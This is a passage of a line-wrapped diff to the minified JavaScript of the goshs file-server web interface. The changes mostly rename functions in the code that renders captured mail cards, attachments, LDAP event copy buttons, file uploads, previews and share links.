cx="8.5" cy="8.5" r="1.5"/><polyline points="21 15 16 10 5 
21"/></svg>':e==="text/html"?'<svg class="attach-icon html" viewBox="0 0 24 24" 
fill="none" stroke="currentColor" stroke-width="2"><polyline points="16 18 22 
12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>':e==="application/pdf"?'<svg 
class="attach-icon pdf" viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 
002-2V8z"/><polyline points="14 2 14 8 20 
8"/></svg>':e.includes("zip")||e.includes("tar")||e.includes("gz")?'<svg 
class="attach-icon arch" viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><polyline points="21 8 21 21 3 21 3 8"/><rect x="1" y="3" 
width="22" height="5"/><line x1="10" y1="12" x2="14" y2="12"/></svg>':'<svg 
class="attach-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><path d="M13 2H6a2 2 0 00-2 2v16a2 2 
 0 002 2h12a2 2 0 002-2V9z"/><polyline points="13 2 13 9 20 
9"/></svg>':""}function Jt(e,t){let 
s=document.createElement("div");s.className="mail-card"+(t?" new-card":"");let 
o=(e.to||[]).join(", ")||"\u2014",n=e.timestamp?new 
Date(e.timestamp).toLocaleTimeString():"",a=(e.from||"?")[0].toUpperCase(),c=e.subject||"(no
 
subject)",i=e.htmlBody&&e.htmlBody.trim().length>0,l=e.body&&e.body.trim().length>0,p=e.attachments||[],h=p.filter(g=>g.contentType&&g.contentType.startsWith("image/")),u=h.length>0,C=document.createElement("div");C.className="mail-header",C.innerHTML=`
+    
`,$.querySelector(".ldap-copy-hash")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(y)?.textContent||"").then(()=>m("Hash
 
copied!","ok"))}),$.querySelector(".ldap-copy-dn")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(f)?.textContent||"").then(()=>m("DN
 
copied!","ok"))}),$.querySelector(".ldap-copy-pw")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(b)?.textContent||"").then(()=>m("Password
 
copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild($),t.appendChild(c)})}function
 
Se(){r.ldapEvents=[],w("ldap-badge","0"),r.ws.send(JSON.stringify({type:"clearLDAP"})),T(),U()}function
 
Wt(e){r.smtpEvents.unshift(e),w("smtp-badge",r.smtpEvents.length),T(),F()}function
 _t(e){return e?e.startsWith("image/")?'<svg class="attach-icon img" viewBox="0 
0 24 24" fill="none" stroke="currentCol
 or" stroke-width="2"><rect x="3" y="3" width="18" height="18" rx="2"/><circle 
cx="8.5" cy="8.5" r="1.5"/><polyline points="21 15 16 10 5 
21"/></svg>':e==="text/html"?'<svg class="attach-icon html" viewBox="0 0 24 24" 
fill="none" stroke="currentColor" stroke-width="2"><polyline points="16 18 22 
12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>':e==="application/pdf"?'<svg 
class="attach-icon pdf" viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 
002-2V8z"/><polyline points="14 2 14 8 20 
8"/></svg>':e.includes("zip")||e.includes("tar")||e.includes("gz")?'<svg 
class="attach-icon arch" viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><polyline points="21 8 21 21 3 21 3 8"/><rect x="1" y="3" 
width="22" height="5"/><line x1="10" y1="12" x2="14" y2="12"/></svg>':'<svg 
class="attach-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><path d="M13 2H6a2 2 0 00-2 2v16a2 2 
 0 002 2h12a2 2 0 002-2V9z"/><polyline points="13 2 13 9 20 
9"/></svg>':""}function Jt(e,t){let 
s=document.createElement("div");s.className="mail-card"+(t?" new-card":"");let 
o=(e.to||[]).join(", ")||"\u2014",n=e.timestamp?new 
Date(e.timestamp).toLocaleTimeString():"",a=(e.from||"?")[0].toUpperCase(),c=e.subject||"(no
 
subject)",i=e.htmlBody&&e.htmlBody.trim().length>0,l=e.body&&e.body.trim().length>0,p=e.attachments||[],h=p.filter(g=>g.contentType&&g.contentType.startsWith("image/")),u=h.length>0,C=document.createElement("div");C.className="mail-header",C.innerHTML=`
         <div class="mail-avatar">${d(a)}</div>
         <div class="mail-meta">
           <div class="mail-from">${d(e.from||"")}</div>
@@ -216,7 +216,7 @@
             ${u?'<div class="mail-body-tab" 
data-tab="preview">Preview</div>':""}`);let 
y=document.createElement("div");y.className="mail-body-section",y.style.display="none",y.dataset.pane="plain",y.innerHTML=`<pre>${d(e.body||"(empty)")}</pre>`;let
 
$=document.createElement("div");if($.className="html-frame-wrap",$.style.display="none",$.dataset.pane="html",i){let
 
g=document.createElement("iframe");g.className="html-frame",g.sandbox="allow-same-origin",g.srcdoc=e.htmlBody,$.appendChild(g)}let
 
k=document.createElement("div");k.className="attach-preview",k.style.display="none",k.dataset.pane="preview",h.forEach(g=>{let
 
v=document.createElement("img");v.className="preview-img",v.src=`/?smtp&id=${g.id}`,v.alt=g.filename,v.title=g.filename,v.onclick=()=>ee(v.src),k.appendChild(v)});let
 
N=document.createElement("div");if(N.className="mail-attachments",N.style.display="none",p.length){N.innerHTML=`<div
 class="mail-attachments-label">Attachments (${p.length})</div>`;let 
g=document.createEl
 ement("div");g.className="attach-list",p.forEach(v=>{let 
E=document.createElement("div");E.className="attach-item",E.innerHTML=`
                 ${_t(v.contentType)}
                 <span class="attach-name" 
title="${d(v.filename)}">${d(v.filename)}</span>
-                <span class="attach-size">${D(v.size)}</span>
+                <span class="attach-size">${R(v.size)}</span>
                 <div class="attach-actions">
                   <a class="btn btn-sm" href="/?smtp&id=${v.id}" 
download="${d(v.filename)}" title="Download">
                     <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><polyline points="7 10 12 15 17 10"/><line x1="12" y1="15" 
x2="12" y2="3"/></svg>
@@ -229,11 +229,11 @@
                   <button class="btn btn-sm" 
onclick="openHTMLPreview('/?smtp&id=${v.id}')" title="Render HTML">
                     <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" 
stroke-width="2"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 
12 8 18"/></svg>
                   </button>`:""}
-                </div>`,g.appendChild(E)}),N.appendChild(g)}let 
M=document.createElement("div");M.className="mail-raw-section",M.style.display="none",M.innerHTML=`<pre>${d(e.rawHeader||"")}</pre>`;let
 O=document.createElement("div");O.className="mail-footer",O.innerHTML='<button 
class="btn btn-ghost btn-sm" data-action="raw">Raw headers</button>';function 
ie(g){s.classList.toggle("open",g);let 
v=b.querySelector(".mail-chevron");v&&(v.style.transform=g?"rotate(180deg)":"");let
 
E=(f?f.querySelector(".mail-body-tab.active"):null)?.dataset.tab||(i?"html":"plain");f&&(f.style.display=g?"flex":"none"),y.style.display=g&&E==="plain"?"block":"none",$.style.display=g&&E==="html"?"block":"none",k.style.display=g&&E==="preview"?"flex":"none",f||(i?$.style.display=g?"block":"none":y.style.display=g?"block":"none"),p.length&&(N.style.display=g?"block":"none"),O.style.display=g?"flex":"none"}return
 
C.onclick=()=>ie(!s.classList.contains("open")),b.onclick=()=>ie(!s.classList.contains("open")),f&&
 f.addEventListener("click",g=>{let 
v=g.target.closest(".mail-body-tab");if(!v)return;f.querySelectorAll(".mail-body-tab").forEach(Bt=>Bt.classList.remove("active")),v.classList.add("active");let
 
E=v.dataset.tab;y.style.display=E==="plain"?"block":"none",$.style.display=E==="html"?"block":"none",k.style.display=E==="preview"?"flex":"none"}),O.addEventListener("click",g=>{let
 v=g.target.closest("[data-action]");if(v&&v.dataset.action==="raw"){let 
E=M.style.display==="block";M.style.display=E?"none":"block",v.textContent=E?"Raw
 headers":"Hide 
raw"}}),s.appendChild(C),s.appendChild(b),f&&s.appendChild(f),s.appendChild(y),s.appendChild($),u&&s.appendChild(k),p.length&&s.appendChild(N),s.appendChild(M),s.appendChild(O),O.style.display="none",s}function
 W(){let 
e=(document.getElementById("smtp-search").value||"").toLowerCase(),t=document.getElementById("smtp-inbox"),s=document.getElementById("smtp-empty"),o=r.smtpEvents.filter(n=>!e||(n.from||"").toLowerCase().includes(e)||(n.to||[]).join(
 " 
").toLowerCase().includes(e)||(n.subject||"").toLowerCase().includes(e)||(n.body||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".mail-card").forEach(n=>n.remove()),o.forEach((n,a)=>{t.appendChild(Jt(n,a===0&&!e))})}function
 ee(e){let 
t=document.getElementById("goshs-lightbox");t||(t=document.createElement("div"),t.id="goshs-lightbox",t.className="lightbox",t.innerHTML='<img
 
id="goshs-lb-img">',t.onclick=()=>t.classList.remove("open"),document.body.appendChild(t)),document.getElementById("goshs-lb-img").src=e,t.classList.add("open")}function
 $e(e){fetch(e).then(t=>t.text()).then(t=>{let 
s=window.open("","_blank");s.document.write(`<!DOCTYPE html><html><head><meta 
charset="UTF-8">
+                </div>`,g.appendChild(E)}),N.appendChild(g)}let 
M=document.createElement("div");M.className="mail-raw-section",M.style.display="none",M.innerHTML=`<pre>${d(e.rawHeader||"")}</pre>`;let
 O=document.createElement("div");O.className="mail-footer",O.innerHTML='<button 
class="btn btn-ghost btn-sm" data-action="raw">Raw headers</button>';function 
ie(g){s.classList.toggle("open",g);let 
v=b.querySelector(".mail-chevron");v&&(v.style.transform=g?"rotate(180deg)":"");let
 
E=(f?f.querySelector(".mail-body-tab.active"):null)?.dataset.tab||(i?"html":"plain");f&&(f.style.display=g?"flex":"none"),y.style.display=g&&E==="plain"?"block":"none",$.style.display=g&&E==="html"?"block":"none",k.style.display=g&&E==="preview"?"flex":"none",f||(i?$.style.display=g?"block":"none":y.style.display=g?"block":"none"),p.length&&(N.style.display=g?"block":"none"),O.style.display=g?"flex":"none"}return
 
C.onclick=()=>ie(!s.classList.contains("open")),b.onclick=()=>ie(!s.classList.contains("open")),f&&
 f.addEventListener("click",g=>{let 
v=g.target.closest(".mail-body-tab");if(!v)return;f.querySelectorAll(".mail-body-tab").forEach(Bt=>Bt.classList.remove("active")),v.classList.add("active");let
 
E=v.dataset.tab;y.style.display=E==="plain"?"block":"none",$.style.display=E==="html"?"block":"none",k.style.display=E==="preview"?"flex":"none"}),O.addEventListener("click",g=>{let
 v=g.target.closest("[data-action]");if(v&&v.dataset.action==="raw"){let 
E=M.style.display==="block";M.style.display=E?"none":"block",v.textContent=E?"Raw
 headers":"Hide 
raw"}}),s.appendChild(C),s.appendChild(b),f&&s.appendChild(f),s.appendChild(y),s.appendChild($),u&&s.appendChild(k),p.length&&s.appendChild(N),s.appendChild(M),s.appendChild(O),O.style.display="none",s}function
 F(){let 
e=(document.getElementById("smtp-search").value||"").toLowerCase(),t=document.getElementById("smtp-inbox"),s=document.getElementById("smtp-empty"),o=r.smtpEvents.filter(n=>!e||(n.from||"").toLowerCase().includes(e)||(n.to||[]).join(
 " 
").toLowerCase().includes(e)||(n.subject||"").toLowerCase().includes(e)||(n.body||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".mail-card").forEach(n=>n.remove()),o.forEach((n,a)=>{t.appendChild(Jt(n,a===0&&!e))})}function
 ee(e){let 
t=document.getElementById("goshs-lightbox");t||(t=document.createElement("div"),t.id="goshs-lightbox",t.className="lightbox",t.innerHTML='<img
 
id="goshs-lb-img">',t.onclick=()=>t.classList.remove("open"),document.body.appendChild(t)),document.getElementById("goshs-lb-img").src=e,t.classList.add("open")}function
 $e(e){fetch(e).then(t=>t.text()).then(t=>{let 
s=window.open("","_blank");s.document.write(`<!DOCTYPE html><html><head><meta 
charset="UTF-8">
                 <meta http-equiv="Content-Security-Policy" content="script-src 
'none'">
-                
</head><body>${t}</body></html>`),s.document.close()}).catch(()=>m("Failed to 
load HTML attachment","error"))}function 
Ee(){r.smtpEvents=[],w("smtp-badge","0"),r.ws.send(JSON.stringify({type:"clearSMTP"})),T(),W()}function
 
ke(){return{onDNS:Dt,onSMTP:Wt,onHTTP:At,onSMB:Ut,onLDAP:Ft,renderHTTP:J,renderDNS:j,renderSMTP:W,renderSMB:U,renderLDAP:F}}function
 Le(e){window.location.href=e}function Be(){let 
e=document.getElementById("file-search").value.toLowerCase();document.querySelectorAll("#file-tbody
 tr").forEach(t=>{let 
s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var
 Te={name:!0,size:!0,mtime:!0};function Ie(e){let 
t=Te[e]=!Te[e],s=document.getElementById("file-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let
 i=a.dataset[e]||"",l=c.dataset[e]||"";return 
e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),docum
 ent.querySelectorAll(".file-table 
th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let
 
n=document.getElementById("th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function
 X(){let 
e=document.querySelectorAll(".row-check-item:checked").length;document.getElementById("bulk-bar").classList.toggle("show",e>0),document.getElementById("bulk-count").textContent=e+"
 selected"}function 
te(){document.querySelectorAll(".row-check-item").forEach(t=>t.checked=!1);let 
e=document.getElementById("chk-all");e&&(e.checked=!1),X()}function zt(){return 
Array.from(document.querySelectorAll(".row-check-item:checked")).map(e=>e.closest("tr").dataset.value).filter(Boolean)}function
 ne(){let e=new 
URL(window.location.href);zt().forEach(t=>{e.searchParams.append("file",t)}),e.searchParams.append("bulk","true"),window.open(e.href,"_blank"),te()}function
 Pe(){document.querySelectorAll("#file-tbody tr[dat
 a-name]").forEach(e=>{if(e.style.display!=="none"){let 
t=e.querySelector(".row-check-item");t&&(t.checked=!0)}}),X(),ne()}function 
se(){let e=document.querySelector('meta[name="csrf-token"]');return 
e?e.getAttribute("content"):""}function G(e,t){let s;if(t?s=!0:s=confirm("Do 
you really want to delete the file or directory?"),s){var 
o="";location.protocol!=="https:"?o="http://"+window.location.host+e:o="https://"+window.location.host+e,fetch(o,{method:"DELETE",headers:{"X-CSRF-Token":se()}}).then(()=>location.reload()).catch(()=>m("Delete
 failed","error"))}}function Ne(){S("upload-modal")}function 
Me(){S("mkdir-modal"),setTimeout(()=>document.getElementById("mkdir-input").focus(),50)}function
 
z(e){Array.from(e).forEach(t=>{r.pendingUploads.find(s=>s.name===t.name&&s.size===t.size)||r.pendingUploads.push(t)}),Oe()}function
 Oe(){let 
e=document.getElementById("upload-file-list");e.innerHTML="",r.pendingUploads.forEach((t,s)=>{let
 o=document.createElement("div");o.className="upload-file-
 item",o.innerHTML=`<span class="fname">${d(t.name)}</span><span 
class="fsize">${D(t.size)}</span>
-<button class="fremove" 
onclick="removeUpload(${s})">\u2715</button>`,e.appendChild(o)})}function 
Ae(e){r.pendingUploads.splice(e,1),Oe()}function 
qe(){if(!r.pendingUploads.length){m("No files selected","warn");return}let 
e=new FormData;r.pendingUploads.forEach(n=>e.append("file",n));let 
t=document.getElementById("upload-progress-wrap"),s=document.getElementById("upload-progress-bar");t.style.display="block",s.style.width="0";let
 o=new 
XMLHttpRequest;o.open("POST",`${window.location.href}upload`),o.setRequestHeader("X-CSRF-Token",se()),o.upload.onprogress=n=>{n.lengthComputable&&(s.style.width=n.loaded/n.total*100+"%")},o.onload=()=>{if(o.status===200)m("Upload
 
complete!","success"),A("upload-modal"),r.pendingUploads=[],setTimeout(()=>location.reload(),600);else
 if(o.status===413){let 
n=parseInt(document.querySelector('meta[name="max-upload"]')?.content||"0",10),a=n>0?"Upload
 rejected: exceeds the "+D(n)+" server limit":"Upload rejected: file too 
large";m(a,"error")}else m("Upload f
 ailed: "+o.statusText,"error")},o.onerror=()=>m("Upload 
failed","error"),o.send(e)}function Re(){let 
e=document.getElementById("mkdir-input").value.trim();if(!e)return;let 
t=e.endsWith("/")?e:e+"/";fetch(t,{method:"POST",headers:{"X-CSRF-Token":se()}}).then(s=>{s.status===201?(m("Created:
 
"+e,"success"),A("mkdir-modal"),setTimeout(()=>location.reload(),600)):m("Failed","error")}).catch(()=>m("Network
 error","error"))}function Xt(){let 
e=document.getElementById("drop-overlay"),t=0;document.addEventListener("dragenter",o=>{o.dataTransfer.types.includes("Files")&&(t++,e.classList.add("active"),o.preventDefault())}),document.addEventListener("dragleave",()=>{--t<=0&&(t=0,e.classList.remove("active"))}),document.addEventListener("dragover",o=>{o.preventDefault()}),document.addEventListener("drop",o=>{o.preventDefault(),t=0,e.classList.remove("active");let
 n=o.dataTransfer.files;n.length&&(z(n),S("upload-modal"))});let 
s=document.getElementById("modal-drop-area");s&&(s.addEventListener("d
 
ragover",o=>{o.preventDefault(),s.classList.add("hover")}),s.addEventListener("dragleave",()=>s.classList.remove("hover")),s.addEventListener("drop",o=>{o.preventDefault(),s.classList.remove("hover"),z(o.dataTransfer.files)}))}function
 De(){Xt()}function je(){Fe(r.theme)}function 
Ue(){r.theme=r.theme==="dark"?"light":"dark",localStorage.setItem("goshs-theme",r.theme),Fe(r.theme)}function
 Fe(e){document.documentElement.setAttribute("data-theme",e);let 
t=document.getElementById("goshs-logo");t&&(e==="light"?t.src="/images/logo-light.png?static":t.src="/images/logo-dark.png?static")}function
 We(){let 
e=document.getElementById("emb-search").value.toLowerCase();document.querySelectorAll("#emb-tbody
 tr[data-name]").forEach(t=>{let 
s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var
 He={name:!0,size:!0,mtime:!0};function _e(e){let 
t=He[e]=!He[e],s=document.getElementById("emb-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let
 i=a
 .dataset[e]||"",l=c.dataset[e]||"";return 
e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),document.querySelectorAll("#emb-table
 
th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let
 
n=document.getElementById("emb-th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function
 Je(e){let 
t=location.origin+encodeURIComponent(e).replace("%2F","/")+"?embedded";navigator.clipboard.writeText(t).then(()=>m("Link
 copied!","success")).catch(()=>m("Copy failed","error"))}function 
ze(e,t){document.querySelectorAll(".snav").forEach(o=>o.classList.remove("active")),document.querySelectorAll(".panel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let
 s=document.getElementById("panel-"+e);s&&s.classList.add("active")}function 
Xe(e,t){document.querySelectorAll(".ctab").forEach(o=>o.
 
classList.remove("active")),document.querySelectorAll(".cpanel").forEach(o=>o.classList.remove("active")),t.classList.add("active");let
 s=document.getElementById("cpanel-"+e);s&&s.classList.add("active")}var 
Gt={md:"markdown",jpg:"image",jpeg:"image",png:"image",gif:"image",svg:"image",webp:"image",bmp:"image",ico:"image",mp4:"video",webm:"video",mp3:"audio",wav:"audio",ogg:"audio",pdf:"pdf",csv:"csv",txt:"text",json:"text",xml:"text",yaml:"text",yml:"text",go:"text",py:"text",js:"text",sh:"text",log:"text",css:"text",html:"text",rb:"text",java:"text",c:"text",cpp:"text",h:"text",rs:"text",toml:"text",ini:"text",cfg:"text",conf:"text",env:"text",ts:"text",sql:"text",bat:"text",ps1:"text",php:"text",pl:"text",swift:"text",kt:"text",dart:"text",lua:"text",r:"text",tex:"text",scss:"text",sass:"text",less:"text"};function
 V(e){let t=e.split(".").pop().toLowerCase();return Gt[t]||null}function 
R(e){let t=V(e);if(!t)return;let 
s=document.getElementById("md-content"),o=document.getElementB
 yId("md-title");switch(s.innerHTML="",o.textContent=e,t){case"image":var 
n=document.createElement("img");n.src=e,n.style.maxWidth="100%",n.style.borderRadius="4px",s.appendChild(n),S("md-modal");break;case"video":var
 
a=document.createElement("video");a.src=e,a.controls=!0,a.style.maxWidth="100%",a.style.borderRadius="4px",s.appendChild(a),S("md-modal");break;case"audio":var
 
c=document.createElement("audio");c.src=e,c.controls=!0,c.style.width="100%",s.appendChild(c),S("md-modal");break;case"pdf":var
 
i=document.createElement("iframe");i.src=e,i.style.width="100%",i.style.height="80vh",i.style.border="none",i.style.borderRadius="4px",s.appendChild(i),S("md-modal");break;case"markdown":fetch(e).then(l=>{if(!l.ok)throw
 new Error(l.statusText);return 
l.text()}).then(l=>{s.innerHTML=DOMPurify.sanitize(marked.parse(l)),S("md-modal")}).catch(()=>m("Failed
 to load preview","error"));break;case"csv":fetch(e).then(l=>{if(!l.ok)throw 
new Error(l.statusText);return l.text()}).then(l=>{var p=l.tr
 im().split(`
-`),h=document.createElement("table");h.className="preview-csv",p.forEach(function(u,C){var
 b=document.createElement("tr");u.split(",").forEach(function(f){var 
y=document.createElement(C===0?"th":"td");y.textContent=f.replace(/^"|"$/g,""),b.appendChild(y)}),h.appendChild(b)}),s.appendChild(h),S("md-modal")}).catch(()=>m("Failed
 to load preview","error"));break;case"text":fetch(e).then(l=>{if(!l.ok)throw 
new Error(l.statusText);return l.text()}).then(l=>{var 
p=e.split(".").pop().toLowerCase(),h=document.createElement("code");h.className="language-"+p,h.textContent=l;var
 
u=document.createElement("pre");u.className="preview-code",u.appendChild(h),s.appendChild(u),hljs.highlightElement(h),S("md-modal")}).catch(()=>m("Failed
 to load preview","error"));break}}function Ge(){let 
e=document.getElementById("file-tbody");e&&e.addEventListener("click",t=>{if(t.ctrlKey||t.metaKey||t.button!==0)return;let
 s=t.target.closest("a[href]");if(!s||s.hasAttribute("download"))return;let 
o=s.getAttribute("
 href")||"";V(o)&&(t.preventDefault(),R(o))})}function 
Ve(e){sessionStorage.setItem("activeTab","nav-clip"),location.reload()}function 
Qe(){let e=document.getElementById("clip-input").value.trim();if(e){var 
t={type:"newEntry",content:e};r.ws.send(JSON.stringify(t)),document.getElementById("clip-input").value=""}}function
 Ke(e){let t=document.querySelector("#clip-"+e+" 
.clip-card-body");t&&navigator.clipboard.writeText(t.textContent).then(()=>m("Copied!","success"))}function
 Ze(e){var t={type:"delEntry",content:e};r.ws.send(JSON.stringify(t))}function 
Ye(){window.open("/?cbDown","_blank")}function et(){if(confirm("Are you sure 
you want to clear the clipboard?")){var 
t={type:"clearClipboard",content:""};r.ws.send(JSON.stringify(t)).then(()=>m("Cleared!","success"))}}var
 nt="";function 
Q(e){nt=e,document.getElementById("share-result").style.display="none",document.getElementById("share-limit").value="0",document.getElementById("share-expire").value="0",S("share-modal")}function
 st(){let
  
e=document.getElementById("share-limit").value,s=(parseInt(document.getElementById("share-expire").value)||60)*60;var
 
o="";location.protocol!=="https:"?o="http://"+window.location.host:o="https://"+window.location.host;let
 
n=`${o}${nt}?share&expires=${s}`;parseInt(e)>0?n+=`&limit=${encodeURIComponent(e)}`:n+="&limit=-1",fetch(n,{method:"GET",headers:{Accept:"application/json"}}).then(a=>a.json()).then(a=>{let
 
c=document.getElementById("share-result");c.style.whiteSpace="pre",c.style.display="block",c.textContent=a.urls.join(`
+                
</head><body>${t}</body></html>`),s.document.close()}).catch(()=>m("Failed to 
load HTML attachment","error"))}function 
Ee(){r.smtpEvents=[],w("smtp-badge","0"),r.ws.send(JSON.stringify({type:"clearSMTP"})),T(),F()}function
 
ke(){return{onDNS:Dt,onSMTP:Wt,onHTTP:At,onSMB:Ut,onLDAP:Ft,renderHTTP:J,renderDNS:H,renderSMTP:F,renderSMB:j,renderLDAP:U}}function
 Le(e){window.location.href=e}function Be(){let 
e=document.getElementById("file-search").value.toLowerCase();document.querySelectorAll("#file-tbody
 tr").forEach(t=>{let 
s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var
 Te={name:!0,size:!0,mtime:!0};function Ie(e){let 
t=Te[e]=!Te[e],s=document.getElementById("file-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let
 i=a.dataset[e]||"",l=c.dataset[e]||"";return 
e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),docum
 ent.querySelectorAll(".file-table 
th[id]").forEach(a=>{a.classList.remove("sorted"),a.querySelector(".sort-arrow").textContent="\u2195"});let
 
n=document.getElementById("th-"+e);n&&(n.classList.add("sorted"),n.querySelector(".sort-arrow").textContent=t?"\u2191":"\u2193")}function
 X(){let 
e=document.querySelectorAll(".row-check-item:checked").length;document.getElementById("bulk-bar").classList.toggle("show",e>0),document.getElementById("bulk-count").textContent=e+"
 selected"}function 
te(){document.querySelectorAll(".row-check-item").forEach(t=>t.checked=!1);let 
e=document.getElementById("chk-all");e&&(e.checked=!1),X()}function zt(){return 
Array.from(document.querySelectorAll(".row-check-item:checked")).map(e=>e.closest("tr").dataset.value).filter(Boolean)}function
 ne(){let e=new 
URL(window.location.href);zt().forEach(t=>{e.searchParams.append("file",t)}),e.searchParams.append("bulk","true"),window.open(e.href,"_blank"),te()}function
 Pe(){document.querySelectorAll("#file-tbody tr[dat
 a-name]").forEach(e=>{if(e.style.display!=="none"){let 
t=e.querySelector(".row-check-item");t&&(t.checked=!0)}}),X(),ne()}function 
se(){let e=document.querySelector('meta[name="csrf-token"]');return 
e?e.getAttribute("content"):""}function G(e,t){let s;if(t?s=!0:s=confirm("Do 
you really want to delete the file or directory?"),s){var 
o="";location.protocol!=="https:"?o="http://"+window.location.host+e:o="https://"+window.location.host+e,fetch(o,{method:"DELETE",headers:{"X-CSRF-Token":se()}}).then(()=>location.reload()).catch(()=>m("Delete
 failed","error"))}}function Ne(){S("upload-modal")}function 
Me(){S("mkdir-modal"),setTimeout(()=>document.getElementById("mkdir-input").focus(),50)}function
 
z(e){Array.from(e).forEach(t=>{r.pendingUploads.find(s=>s.name===t.name&&s.size===t.size)||r.pendingUploads.push(t)}),Oe()}function
 Oe(){let 
e=document.getElementById("upload-file-list");e.innerHTML="",r.pendingUploads.forEach((t,s)=>{let
 o=document.createElement("div");o.className="upload-file-
 item",o.innerHTML=`<span class="fname">${d(t.name)}</span><span 
class="fsize">${R(t.size)}</span>
+<button class="fremove" 
onclick="removeUpload(${s})">\u2715</button>`,e.appendChild(o)})}function 
Ae(e){r.pendingUploads.splice(e,1),Oe()}function 
qe(){if(!r.pendingUploads.length){m("No files selected","warn");return}let 
e=new FormData;r.pendingUploads.forEach(n=>e.append("file",n));let 
t=document.getElementById("upload-progress-wrap"),s=document.getElementById("upload-progress-bar");t.style.display="block",s.style.width="0";let
 o=new 
XMLHttpRequest;o.open("POST",`${window.location.href}upload`),o.setRequestHeader("X-CSRF-Token",se()),o.upload.onprogress=n=>{n.lengthComputable&&(s.style.width=n.loaded/n.total*100+"%")},o.onload=()=>{if(o.status===200)m("Upload
 
complete!","success"),A("upload-modal"),r.pendingUploads=[],setTimeout(()=>location.reload(),600);else
 if(o.status===413){let 
n=parseInt(document.querySelector('meta[name="max-upload"]')?.content||"0",10),a=n>0?"Upload
 rejected: exceeds the "+R(n)+" server limit":"Upload rejected: file too 
large";m(a,"error")}else m("Upload f
 ailed: "+o.statusText,"error")},o.onerror=()=>m("Upload 
failed","error"),o.send(e)}function Re(){let 
e=document.getElementById("mkdir-input").value.trim();if(!e)return;let 
t=e.endsWith("/")?e:e+"/";fetch(t,{method:"POST",headers:{"X-CSRF-Token":se()}}).then(s=>{s.status===201?(m("Created:
 
"+e,"success"),A("mkdir-modal"),setTimeout(()=>location.reload(),600)):m("Failed","error")}).catch(()=>m("Network
 error","error"))}function Xt(){let 
e=document.getElementById("drop-overlay"),t=0;document.addEventListener("dragenter",o=>{o.dataTransfer.types.includes("Files")&&(t++,e.classList.add("active"),o.preventDefault())}),document.addEventListener("dragleave",()=>{--t<=0&&(t=0,e.classList.remove("active"))}),document.addEventListener("dragover",o=>{o.preventDefault()}),document.addEventListener("drop",o=>{o.preventDefault(),t=0,e.classList.remove("active");let
 n=o.dataTransfer.files;n.length&&(z(n),S("upload-modal"))});let 
s=document.getElementById("modal-drop-area");s&&(s.addEventListener("d
 
ragover",o=>{o.preventDefault(),s.classList.add("hover")}),s.addEventListener("dragleave",()=>s.classList.remove("hover")),s.addEventListener("drop",o=>{o.preventDefault(),s.classList.remove("hover"),z(o.dataTransfer.files)}))}function
 De(){Xt()}function je(){Fe(r.theme)}function 
Ue(){r.theme=r.theme==="dark"?"light":"dark",localStorage.setItem("goshs-theme",r.theme),Fe(r.theme)}function
 Fe(e){document.documentElement.setAttribute("data-theme",e);let 
t=document.getElementById("goshs-logo");t&&(e==="light"?t.src="/images/logo-light.png?static":t.src="/images/logo-dark.png?static")}function
 We(){let 
e=document.getElementById("emb-search").value.toLowerCase();document.querySelectorAll("#emb-tbody
 tr[data-name]").forEach(t=>{let 
s=(t.dataset.name||"").toLowerCase();t.style.display=!e||s.includes(e)?"":"none"})}var
 He={name:!0,size:!0,mtime:!0};function _e(e){let 
t=He[e]=!He[e],s=document.getElementById("emb-tbody"),o=Array.from(s.querySelectorAll("tr[data-name]"));o.sort((a,c)=>{let
 i=a
 .dataset[e]||"",l=c.dataset[e]||"";return 
e==="size"||e==="mtime"?(i=parseFloat(i)||0,l=parseFloat(l)||0,t?i-l:l-i):t?i.localeCompare(l):l.localeCompare(i)}),o.forEach(a=>s.appendChild(a)),document.querySelectorAll("#emb-table
 
